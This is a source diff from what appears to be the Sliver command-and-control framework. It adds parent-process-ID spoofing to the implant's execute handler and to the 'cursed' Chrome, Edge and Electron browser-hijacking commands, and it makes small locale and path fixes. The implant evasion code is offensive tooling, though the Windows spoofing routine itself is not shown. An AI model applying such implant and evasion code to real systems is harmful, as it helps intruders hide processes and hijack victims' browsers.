diff --git a/client/command/cursed/commands.go b/client/command/cursed/commands.go index fc6fc92242..07e1f134c4 100644 --- a/client/command/cursed/commands.go +++ b/client/command/cursed/commands.go @@ -72,6 +72,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") f.BoolP("headless", "H", false, "start browser process in headless mode") + f.Uint32P("ppid", "P", 0, "parent process id to spoof") }) flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) { (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") @@ -97,6 +98,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("payload", "p", "", "cursed chrome payload file path (.js)") f.BoolP("keep-alive", "k", false, "keeps browser alive after last browser window closes") f.BoolP("headless", "H", false, "start browser process in headless mode") + f.Uint32P("ppid", "P", 0, "parent process id to spoof") }) flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) { (*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files") @@ -117,6 +119,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { flags.Bind("", false, cursedElectronCmd, func(f *pflag.FlagSet) { f.StringP("exe", "e", "", "remote electron executable absolute path") f.IntP("remote-debugging-port", "r", 0, "remote debugging tcp port (0 = random)") + f.Uint32P("ppid", "P", 0, "parent process id to spoof") }) cursedElectronCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true carapace.Gen(cursedElectronCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Electron CLI arguments")) diff --git a/client/command/cursed/cursed-chrome.go b/client/command/cursed/cursed-chrome.go index ddb83456de..7b751dd8ad 100644 --- a/client/command/cursed/cursed-chrome.go +++ b/client/command/cursed/cursed-chrome.go @@ -196,13 +196,15 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra args = append(args, cargs...) } + ppid, _ := cmd.Flags().GetUint32("ppid") + // Execute the Chrome process with the extra flags - // TODO: PPID spoofing, etc. chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{ Request: con.ActiveTarget.Request(cmd), Path: chromeExePath, Args: args, Output: false, + PPid: ppid, }) if err != nil { con.Printf("failure!\n") diff --git a/client/command/cursed/cursed-electron.go b/client/command/cursed/cursed-electron.go index 33b0c7c389..82a9b2046c 100644 --- a/client/command/cursed/cursed-electron.go +++ b/client/command/cursed/cursed-electron.go @@ -158,13 +158,15 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c args = append(args, cargs...) } + ppid, _ := cmd.Flags().GetUint32("ppid") + // Execute the Chrome process with the extra flags - // TODO: PPID spoofing, etc. electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{ Request: con.ActiveTarget.Request(cmd), Path: electronExe, Args: args, Output: false, + PPid: ppid, }) if err != nil { con.Printf("failure!\n") diff --git a/implant/sliver/handlers/handlers.go b/implant/sliver/handlers/handlers.go index 77c76390c0..f05502d3f4 100644 --- a/implant/sliver/handlers/handlers.go +++ b/implant/sliver/handlers/handlers.go @@ -42,6 +42,7 @@ import ( // {{end}} "github.com/bishopfox/sliver/implant/sliver/handlers/matcher" + "github.com/bishopfox/sliver/implant/sliver/spoof" "github.com/bishopfox/sliver/implant/sliver/transports" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/sliverpb" @@ -1157,6 +1158,14 @@ func executeHandler(data []byte, resp RPCResponse) { return } cmd := exec.Command(exePath, execReq.Args...) + if execReq.PPid != 0 { + err := spoof.SpoofParent(execReq.PPid, cmd) + if err != nil { + // {{if .Config.Debug}} + log.Printf("could not spoof parent PID: %v\n", err) + // {{end}} + } + } if execReq.EnvInheritance || len(execReq.Env) > 0 { envVars := make(map[string]string) if execReq.EnvInheritance { diff --git a/implant/sliver/locale/jibberjabber/jibberjabber_windows.go b/implant/sliver/locale/jibberjabber/jibberjabber_windows.go index 85f4181132..9d63e37bd9 100644 --- a/implant/sliver/locale/jibberjabber/jibberjabber_windows.go +++ b/implant/sliver/locale/jibberjabber/jibberjabber_windows.go @@ -9,10 +9,12 @@ import ( "golang.org/x/sys/windows" ) -// TODO: read LOCALE_NAME_MAX_LENGTH from Windows, instead of hard-coding '85' +// LOCALE_NAME_MAX_LENGTH is the maximum length of a locale name (including null terminator) +// as defined in the Windows API. const LOCALE_NAME_MAX_LENGTH uint32 = 85 func getWindowsLocaleFrom(sysCall string) (string, error) { + // Create a buffer for the locale name buffer := make([]uint16, LOCALE_NAME_MAX_LENGTH) dll, err := windows.LoadDLL("kernel32") diff --git a/implant/sliver/runner/runner.go b/implant/sliver/runner/runner.go index 29a49e9e24..1b389eb5eb 100644 --- a/implant/sliver/runner/runner.go +++ b/implant/sliver/runner/runner.go @@ -751,9 +751,8 @@ func registerSliver() *sliverpb.Register { filename, err := os.Executable() // Should not happen, but still... if err != nil { - // TODO: build the absolute path to os.Args[0] if 0 < len(os.Args) { - filename = os.Args[0] + filename, _ = filepath.Abs(os.Args[0]) } else { filename = "" } diff --git a/implant/sliver/spoof/spoof_generic.go b/implant/sliver/spoof/spoof_generic.go new file mode 100644 index 0000000000..f13b6768d5 --- /dev/null +++ b/implant/sliver/spoof/spoof_generic.go @@ -0,0 +1,10 @@ +//go:build !windows + +package spoof + +import "os/exec" + +// SpoofParent - Stub for non-windows platforms +func SpoofParent(ppid uint32, cmd *exec.Cmd) error { + return nil +}